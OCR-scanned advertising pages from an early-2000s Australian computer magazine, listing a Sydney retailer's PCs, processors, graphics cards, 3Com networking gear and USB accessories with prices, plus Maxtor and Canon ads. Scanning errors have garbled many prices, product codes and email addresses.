• PC 8 MAC 4 
Compatible 

• USB 8 PS/2 adapter 


$89ioli 



AMD Opteron processor, the highest 
performing 2-way and 4-way processor 
for servers, designed to run existing 32- 
bit applications with outstanding 
performance and offers a migration 
path to 64-bit computing. Step up to 
this platform using MSI's RBM-Master 
mainboard, featuring dual processor 
support, built-in 64-bit Dual Gigabit 
LAN,6slotsofDDR333 DIMMs 
supporting up to 12GB memory. 



• Supports Dual AMD Opteron Socket 940 Processors 
•AMD 8131 8 8111 Chipset 

• 6 X 144-bit DDR333-266-200 uptol2GB 

• 3 PCI-X slot 64-bit 66/IOOMHz slots 

• 2 PCI 32-bit/33MHz slots 

• I X mini PCI slot 

• Integrated 8MB ATI Rage XL Graphics 

• Integrated 10/100/1000 Gigabit LAN 

' 2 X RJ-45 (with LEDs), 2 x USB2.0,2 x front USB option 


$CAU 


MBMSIOSS *s« pagt 5 for AMD Opttron Processon 


Sales: 02 9260 3190 | Fax: 02 9267 5042 I Email: sales@adelong.com.au 


Visit our website @ www.adeieng.cem.au 























AMD Athlon™ 

XP 2000 

$955 

AMD Athlon™ 

XP 2200 

$999 

AMD Athlon™ 

XP2400 

$1929 

Intel Celeron^' 

l.8Ghz 

$975 

Intel Celeron^' 

2.2Ghz 

$1955 

Intel Pentium 

™ 4 2.4Ghz 

$1155 




Upgrade to 15" LCD Monitor 
Add Internal 56K PCI Modem 

$ 

$ 



Upgrade to 128MB ATI Radeon 9000 PRO II $125 
Upgrade to 15" LCD Monitor $355 

Upgrade to 17" LCD Monitor $595 

Upgrade to 19" CRT Monitor $175 


Upgrade to Multimedia KB & Optical Mouse $35 


AMD AthlonXP2400 $1145 . 

AMD Athlon™ XP2600 $1255. 
AMD Athlon™ XflSOO $1395 sr/ 
Intel Pentium™ 4 2.4Ghz $1299, 
Intel Pentium™ 4 2.67Ghz $1425,. 
Intel Pentium™ 4 3.06Ghz $1755 SI 


Upgrade to Altec Lansing AV5300 Speakers $35 
Upgrade to Multimedia KB & Optical Mouse $35 
Add Internal 56K PCI Modem $30 

Add 10/100 PCI Ethernet Adapter $15 


Gamer Advantage 


AMD Athlon™ XP2400 $1455, 

AMD Athlon ™XP 2700 $1595 sw 

AMD Athlon™ XP 2800 $1695 sw 

Intel Pentium™ 4 2.4Ghz $1595, 
Intel Pentium™ 4 2.67Ghz $1755 s 
Intel Pentium™ 4 2.8Ghz $2945 STA 


UPGRADES FOR GAMER ADVANTAGE 


Upgrade to 512MB DDR RAM $65 

Upgrade to 80GB HDD $65 

Upgrade to 120GB HDD $145 

Upgrade to nVIDIA GeForceA Ti-4200 $255 


Upgrade to 15" LCD Monitor 

$355 

Add 10/100 PCI Ethernet Adapter 

$15 

Upgrade to 17" LCD Monitor 

$595 

Add 52x24x52 CDRW 

$89 

Upgrade to 19" CRT Monitor 

$175 

Upgrade to 0VRW2.4xDVD+RW, 


Add Internal 56K PCI Modem 

$39 

32x10x12 CDRW + 32x DVD 

$495 


OEM Software Options on all Systems 

Upgrade to MS Windows XP Professional $125 Add MS Office XP Professional $475 


Add Norton Anti-Virus 2002 $39 


2 


Come uisit our Store at 
127 York Street, SYDNEY NSW 2000 



















uiiiiebt internet 

^fFr 0NLY.$5.50jermontK: 


info@all.net:.au 


55^ per hour 
NIL 


10 hours 
Unlimited 


0 No setup fee 
0 Unlimited download 
0 FREE e-mail account 
0 FREE Personal web space 

Internet Cdnnectidn Here! 

Technical Support and Enquiry Phone: 02 9262 7722 | National: 1300 881 100 | 127 York St Sydney 2000 

** All Npt rpsen/es the ri2ht to vary the Pricine Schedule at any time without notices. * conditions apply. 


as e. smis HOTIINE: 02 9260 OfflO 

WeeKends 10am-4pm Fax: 02 9267 5042 I Email: sales@adelangj;om.an 


Reliable 

Secure 
atfordaUle 


Higusuauuu 

Hialup^dKsr 














Come visit our store at 
127 York Street. SYDNEY NSW 2000 





















Full product range and latest prices available enllne at 

m!Z]oa(i]®D@[]Dg)ja 



Intel® CPU 


intiuin 4™ Socket 478 Processors 

Processor l.8Ghz400Hhz FSB $295 
Processor 2.4Ghz 533Hhz FSB $335 
Processor 2.53Gltz 533MFiz FSB $379 
Processor 2.67Gliz 533Fllrz FSB $475 
Processor 2.80Gliz 533Mhz FSB $675 
Processor 3.0Gliz 533Mliz FSB $799 

eleron' 

Ghz Celeron 
GFiz Celeron 
Gliz Celeron 



SAIES HOTIINE: 02 9260 3fl0 

Weekends 10 am-4pm Fox: 02 9267 5042 I Emoil: sales@adelong.coiii.au 
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Come Visit our Store at 
127 York Street, SYDNEY NSW 2000 


























Graphics 



GeForce4 MX440SE 

nVIDIAGeForce4nX440SE 


Supports AGP 4](flX 

Memory bandwidth up to 8.8GB/sec 

Upto 2048xl536 @75Hz 


)RAM $89 DCGEH019 
DR W TV-Out $99 KGE80J3 


MAYA Radeon 9000 

128-bit ATI Radeon 9000 
64MB DDR RAM 
Supports AGP 4X/2X 
1.2 billion pixels per second 
7S million triangles/sec 
Optimiied for Pentium® 4 
SSE2and AMD Athlon’" 

Inow! processor instructions 


LeadTek WinFast 



$ 125 -. 


Gigabyte Graphics 


MAYA II Radeon 9500 MAYA II Radeon 9700 PRO 



VI PRO $199dCGIGI)07 
I28I1B PROII $245» 


$ 159 . 


' 128-bit ATI Radeon 9S00 
' 128MB DDR RAM 
■Supports AGP 8X/4X 
■ Pixel shaders used to 


$ 375 ... 


■ 2S6-bit ATI Radeon 9700 PRO 

■ 128MB DDR RAM 

■ Supports AGP 8X 

■ 8-pixel pipeline 


$ 745 .... 



LeadTek Graphics 


Ultra TD MyVIVO 



^ Creative Sound Cards 1 

_ Sound Blaster Audigy 2 Platinum 

Sound Blaster Extigy^^^ ^ 

• Sound BiasL 24-bit audio Creative Sound 

.EAX® advanced HD'“ gaming 

$495m«creo96 Creative Audigy 2 

External $545 NHCREOPS $299flNCRE097 

$ 309 ..- 


s. SALES HOTLINE: 02 9260 3W0 

weekends mm-Urn Fox: 02 9267 5042 I Email: sales@adelon 9 .coiii.au 






























MontoFri 9:00am -5:30pm 
Thursday 9:00am -7:00pm 
Weekends I0:00am - 4:00pm 



127 York street, SYDNEY NSW 2000 











































Full product range and latest prices available online at I • \ 



Call Centre 

Monday to Friday 9am-6pm 
Weekends 10am-4pm 


SALES HOTIINE^ 02 9260 3fl0 

Fax: 02 9267 5042 I Email: sales@adelonoxoin.au 


























Come uisit our store at 


127 York Street SYDNEY NSW 2000 
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Full product range and latest prices available online at 


3COM Networking Solutions 


Qpt 3Com delivers innovative netvrorks that are easier to own and implement. From basic 
SCO nri connectivity to advanced switching functionality, there's a 3Com product to meed your needs. 3 C 0ITI 


Wireless Bluetooth 


PC Card with XJACK 

ntaneous connections between your Type II 
ebook PC cartl and other 


USB Adapter 

Share files with other Bluetoothdevices with point 
and-click ease via USB connection to your desktop or 


$235.. 


Network Jack 

The 3Com® NJlOO Network Jack instantly expands a single Ethernet 
connection into lour 10/100 switched ports at any desktop. Replace 
an existing wall jack, or use it as the LAN outlet in 
modular office paneling. . . 


k $85iiw 




OfficeConnect 10/100 
Switch 

OfficeConnect Switches allow dedicated high-speed connections at 
lOMbps or lOOHbps, making them ideal for connecting servers or 


automatically detect the -sSi 

5-n«si7s» 

_ 8-Port $245 NW3COO«4j 


OfficeConnect Wireless LAN 
USB Adapter 

innects directly to an USB-ready desktop or 
itebook PC. Dynamic rate shifting keeps 
nnections reliable, even in noisy environments. 

IEEE SOMtb compliant 

Data transfer rates up to 11 Mbps 

Plug-and-Play 

Range up to 300m * • 

Supports up to 128-bit WEP encryption /I 

SIQR ' 

\f I3UnW3C0053 

OfficeConnect Wireless 

LAN PC Card 

One Type tl or Type III PCMCIA slot is all you need to enjoy the enhanced wireless 

• IEEE 802.llbcompliant T 

• Data transfer rates up to II Mbps 

• Range up to lOOm [ 

• Supports up to 128'bit WEP encryption 

$143nW3C0056 XjACK $175kW3C(K)S4 

OfficeConnect Wireless 

LAN PCI Adapter 

Wireless LAN PCI Adapter gives you secure wireless connections; without the 
expense and inconvenience of laying 

• IEEE 802.llh ' 

• Data transfer rates up to 11 Mbps 

• Connect multiple wireless clients 
without using access points 

• Range up to lOOm 

• Supports up to 128-bit WEP AftAE 

$ZZUnW3COOS9 

Wireless LAN Access 

Point 2000 

mbedded HTTP web management server allows easy web | 

enfiguration, firmware upgradability, and management. I 

' Compatible with IEEE B02.I lb compliant equipment | 

' Data transfer rates up to 1 IHbps A 

■ Supports up to I2B simultaneous users M 

' Clear Channel Select automatically scans the spectrum and |P 

selects the best channel 

> Wireless security of up to 128-bit WEP encryption 

■ Range up to lOOm V V f U NW3C0057 

Wireless Cable/DSL Gateway 

Share one broadband Internet connection with up to 253 (32 wireless) users, 
completed with an integrated wirelesss access point and a 4-port autosensing 

10/100 Ethernet switch. | . 

•IEEE 802.11b compliant 1 I 

• Range up to 91m 1 1 

• Supports hacker pattern detection ^ 

firewall, virtual DMZ, virtual server JBzr 

capability and VPH pass-through 

Wired Cable/DSL Gateway 
VUfWNWLCOOSS $299 nW3COOS8 

OfficeConnect Secure 
Cable/DSL Gateway 

Supports up to 30 simultaneous VPN tunnels with simultaneous PPTP, IPSec, and 
L2TP/IPSec tunnels. 

•IEEE 802.llhcompliant 

• Integrated 4-port autosensing 10/100 switch 
for sharing broadband Internet 

connection with up to 253 users ^ 

• Hacker pattern detection firewall feature ~ 

automatically detects and blocks intrusions 

V IwUnW3C0060 

r Networking Solutions J 

4-Port Cable/DSL Router 

he 4-Port Cable/DSL Broadband Router is the ideal networking solution lor home 
nd business users connecting up to 2S3 users to a high speed Internet connection, 
his platform independent multi-function router combines a 4-port 10/100 Mbps 
full-featured SPI 

ystem one 

$175 NWSMtOOS VPN Plus $215 NWSMC009 

3 Port Print Server 

A Print Server with a multi-protocol 10/100 LAN and three parallel ports is 
designed to offer a simple and flexible solution for your entire network printing 

up to three plotters 

or the 

spots your 

$175nWSHCI)I2 

Ethernet HUB 

These 10/100 Ethernet Hubs are auto-sensing, dual-speed hubs that offer a simple, 
cost-effective strategy for integrating Fast Ethernet into your Ethernet network. 

$59 

8- Port $79 HWSMC006 

16- Port $175hWSMC007 

10/100 PCI Network Adapter 

0/100 PCI network adapter is an efficient, 
iflordable, lull-featured desktop resource. Auto- S 

onfigurable upon power- up, it supports 32-bit data H 

:ransfer mode. It features Wake-On LAN. enabling ' 1 

letwork management from remote locations. 

cog 

If Nwsnm '< 

10/100 USB Network Adapter 

10/100 USB network adapter attaches to the desktop or 
mobile PC via the USB Port. Ho external power is 
needed and no further configuration 
is required once the USB adapter is 

automatically recognised. \ 

$95 ® 

10/100 PC CARD 

Ideal for connecting laptops to fast Ethernet LANs, the dongle-less PC Card provides 
lO/lOONbps speed, l6-8it performance and is plug-and-play with all major 

$75 NWSHC0I4 CardBus $95 KWSMCOIS 


Call Centre 

Monday to Friday 9am-6pm 
Weekends 10am-4pm 


Fax: 02 9267 5042 I Email: sates@adeloiig.Gonijin 

















MontoFri 9:00am -5:30pm 
Thursday 9:00am -7:00pm 
Weekends 10:00am - 4:00pm 




QuickCam Express 

I Easy to use and economical. Great lor video e-mails and face-to-face' 
I • Still image capture up to 640 x 480 pixels 
I • Video capture up to 30 frames/sec @ 320 x 240 


I $7OiOLOG022 $95 

c 


QuickCam Messenger 

Still image & video capture up 
to 640 X 480 pixels with built- 


Logitech Webcam 


ClickCam 310 


IMB memory stores up to 160 photos and 15 seconds of video. 

• Digital camera at up to 352 x 288 pixels 

• Video capture at 15 frames/sec up to 176 x 144 ^ 

• Webcam up to 640 x 480 pixels ■ 

■ Video conferencing up to 30 Irames/sec 

• 10 second self timer 


• USB Interlace 


$115. 


Pocket Digital 


•16MB memory stores up to 52 high 
resolution images at 1.3 megapixels 
’ See both bright lights and dim details 



’ USB Interface, recharge via USB cah 


$215. 


USB Devices & Cables 


USB Laplink Data Cable 

This USB Laplink cable allows you to transfer files between two computers equips 
with USB ports without messy configurations. 


I $55. 


USB Wireless 

I These adaptors plug straight into you 
port to give you instant wireless acce; 

PDAs, PCs and Mobiles phones. 



USB Bluetooth Adaptor $75 MSADE056 
USB Infrared IrDA Adaptor $79 MSADE057 


PCI to FireWire Card 


$45. 


USB P2P Network Cable 

network 2 computers without having to install network cards. Speeds up to 5Mbps 
supporting TCP/IP, NetBEUI &IPX/SPX. 

$ 6 9 MSADEOSI 

USB to Ethernet Adaptor 

Connect your PC via USB to ^ 1 ^ 
a 10/100 LAN withoot the ¥ 

need to messy PC X | 

cards. Comes with a 2 metre ^ J 

USB l.l Cable $79 hsadeost 

USB 2.0 Cable $75 nsadeoss 

USB 2.0 Docking Station 

Expansion unit to provide notebooks with desktop equivalent connectivity. Provides: ; 
• 2 X USB 2.0 Ports i 

USB Hubs _ 

these plug and play hubs to yuur PC to 
use multiple USB devices. In addition. USB 2.0 

• 1X USB File transfer ports 

• Serial i Parallel ports 

• 10/100 LAN port 

$195hsADE0S4 

2 Port Mini USB l.l Hub $29 hsadeoss 

4 Port Stackable USB l.l Hub $45 hsadeosp 

8 Port Stackable USB Hub l.l $75 nsAotopo 

4 Port USB 2.0 Hub $55 hsadeo6i 

Interface 

^ PCI to USB Card 

Connect all your USB 2.0 devices to this 
easy to install 2-purt USB PCI adapter. 

PCI to USB2 & FireWire 

- -_ Connect all of your USB, USB 2 S FireWire 

2.0 ports aod 2 x FireWire ports. 

$35,. 

$9fl„. 


PCNCiA Adaptors 

( Capture yuur digital video or attach your high speed storage devices quickly S 
easily with our PCMCIA adaptors. 

3 Port USB 2.0 $75 

2 Port FireWire $85 « 

2 USB & 3 FireWire Combo $155ccg 


6 in I USB Multicard Reader 

. USB 2.0 AND l.l compatible 
. Reads CF, HD, 5H, MS, 5D, MMC memory card 


. PC i Mac Compatible 
. Compact Design With No Cables Require 
' All slots are active for copying across mi 


Ext USB Floppy 

• Compact & portable design 
» Plug & Play, Hot swappable 
. No external power required 0 

{Bus powered mode) 


$55.. 


$95fDc 


I/O Expansion Card 


PCI Printer Card $39ccgeno32 
Dual PCI Printer Card $45 CCGEN037 
PCI One High Speed Serial Port Card $49cCGtN036 
PCI Two High Speed Serial Port Card $55 CCGEH029 


Tekram DC-3I5U Ultra 
SCSI Card 

•Transfer rate up to 20HB/S 

• Support up to 7 devices 

• SCSI Honda SO Interface 

• PCI Interface 


3.5’* Floppy Drive 


' High reliability with aluminium diecast base 
' long life with direct spindle 
' I.44H6 Storage Capacity 


$49„ 


$25. 



Come vi$ltonr store at 
127 York Street, SYDNEY NSW 2000 




























SUES HOTIINE: 02 9260 3ffl0 

Fax; 02 9267 5042 I Email: salcs@ailelono.comjiu 
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MontoFri 9:00am -5:30pm 
Thursday 9:00am - 7:00pm 
Weekends 10:00am-4:00pm 














Digital Cameras 



SUES HOTIINE; 02 92603190 

Fax: 02 9267 5042 I Email: Sales@adel 0 n 9 .c 0 m.au 
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(it's not a hard drive) 



IT'S YOUR 250 GB 

PORTFOLIO 


That's not just data. Those are your best ideas. 
Maxtor OneTouch™ drive helps you protect them. 

Now—with the touch of a button—backing up your 
projects is easier than ever. So you can store them. 
Keep them organized. Give them room to grow. 
And visit them often. It's personal. 

For offers and demo: www.MaxtorOneTouch.com/ca 




Available from Dick Smith Powerhouse stores, 
Harris Technology and other leading retailers. 




Sophisticated features. Sharp iines. 
4.0 megapixei sensor to print to A4 and beyond 
3x aspherical zoom iens for sharper images 
DiGiC image processing for briiiiant performance 
13 shooting modes for greater creative controi 
Prints directiy to compatibie Canon printers 
canon.com.au 
1800 021 167 
Canon PowerShot S45 



pretty, smart. 


Canon 

advanced simplicity 











